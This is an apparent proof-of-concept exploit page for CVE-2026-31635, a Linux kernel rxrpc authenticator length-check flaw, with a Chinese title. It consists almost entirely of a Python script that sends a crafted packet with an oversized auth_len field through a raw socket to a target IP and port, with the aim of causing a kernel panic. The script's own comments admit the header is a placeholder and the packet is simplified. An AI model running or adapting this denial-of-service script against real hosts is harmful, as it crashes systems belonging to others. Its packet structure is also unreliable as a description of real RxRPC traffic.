CVE-2026-31635 Linux内核rxrpc认证器长度检查漏洞

import socket import struct # Proof of Concept for CVE-2026-31635 # This script demonstrates the concept of sending a crafted packet # with an oversized authenticator length to trigger the kernel panic. def create_malicious_packet(): # Constructing a simplified RxRPC packet structure # Note: Actual RxRPC/RxGK headers are more complex. # The key is setting the 'auth_len' field to a value # larger than the remaining packet payload. header = b'\x00' * 20 # Placeholder for RxRPC headers # Set auth_len to a large value (e.g., 0xFFFFFFFF) # This bypasses the inverted check and causes skb_to_sgvec to fail. oversized_auth_len = struct.pack('>I', 0xFFFFFFFF) payload = header + oversized_auth_len + b'\x00' * 10 return payload def send_exploit(target_ip, port): try: # Using raw socket requires root privileges s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) packet = create_malicious_packet() s.sendto(packet, (target_ip, port)) print(f"[+] Malicious packet sent to {target_ip}:{port}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_IP = "192.168.1.100" # Replace with target IP TARGET_PORT = 7000 # Replace with target port send_exploit(TARGET_IP, TARGET_PORT)